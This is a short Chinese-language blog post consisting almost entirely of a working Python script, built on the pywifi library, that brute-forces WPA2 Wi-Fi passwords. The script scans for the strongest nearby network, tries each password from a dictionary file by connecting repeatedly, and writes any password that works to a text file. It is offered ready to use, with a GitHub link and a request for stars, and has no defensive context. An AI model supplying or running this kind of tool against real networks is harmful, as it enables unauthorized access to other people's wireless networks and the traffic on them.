python暴力破解wifi密碼程式

  • 2019 年 10 月 4 日
  • 筆記

import time  # 破解wifi庫  import pywifi  from pywifi import const      class PoJie(object):        def __init__(self, path):          # wifi密碼字典文件          self.file = open(path, 'r', errors='ignore')          # 抓取網卡介面          wifi = pywifi.PyWiFi()          # 抓取第一個網卡          self.iface = wifi.interfaces()[0]          # 測試連接時斷開所有的鏈接          self.iface.disconnect()          time.sleep(1)          self.alist = self.initialssidnamelist()          # 測試是否處於斷開狀態          # assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]        def bies(self):          # 掃描          self.iface.scan()          # 獲取掃描結果          bessis = self.iface.scan_results()          alist = []          for data in bessis:              alist.append((data.ssid, data.signal))          # 按訊號強度排序          return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)        def getsignal(self):          while True:              # 獲取所有的wifi              n, data = self.bies()              time.sleep(1)              if n is not 0:                  # 如果數量不為0,返回前10個訊號最好的                  return data[0:1]        def initialssidnamelist(self):          ssidlist = self.getsignal()          namelist = []          # 獲取前10個wifi的名稱          for item in ssidlist:              print(item[0])              namelist.append(item[0])          return namelist        def readPassword(self, ssidname, myStr):          # 測試wifi名和密碼是否匹配          bool1 = self.test_connect(myStr, ssidname)          if len(myStr) < 8:              return False          if bool1:              # 保存密碼和wifi名到文件中              save_password_to_file(myStr, ssidname)              print('------------------------------------------------密碼正確: ' + myStr + '-----' + ssidname)              return True          else:              print('密碼錯誤: ' + myStr + ' ' + ssidname)              return False        def test_connect(self, findStr, ssidname):          """          測試連接          :param findStr: 密碼          :param ssidname: wifi名          """          # 創建wifi鏈接文件          profile = pywifi.Profile()          #  wifi名稱          profile.ssid = ssidname          # 開放網卡          profile.auth = const.AUTH_ALG_OPEN          # wifi加密演算法          profile.akm.append(const.AKM_TYPE_WPA2PSK)          # 加密單元          profile.cipher = const.CIPHER_TYPE_CCMP          # 密碼          profile.key = findStr          # 刪除所有的wifi文件          self.iface.remove_all_network_profiles()          # 設置新的鏈接文件          tmp_profile = self.iface.add_network_profile(profile)          # 連接          self.iface.connect(tmp_profile)          time.sleep(2)          # 判斷是否已經連接上          if self.iface.status() == const.IFACE_CONNECTED:              isOk = True          else:              isOk = False          self.iface.disconnect()          time.sleep(1)          # 檢查斷開狀態          assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]            return isOk        def run(self):          while True:              myStr = self.file.readline()              for ssidname in self.alist:                  ret = self.readPassword(ssidname, myStr)                  if ret:                      raise FileExistsError        def __del__(self):          self.file.close()      def save_password_to_file(myStr, ssidname):      with open('password.txt', 'a') as fp:          fp.write(str(myStr) + '-->' + str(ssidname))      if __name__ == '__main__':      # 密碼字典文件所在路徑      path = 'D:WIFI密碼字典.txt'#此處是wifi密碼字典文件的位置      start = PoJie(path)      start.run()

程式github地址:https://github.com/a15058713697/python-get-wifi-password

如果好用請給個star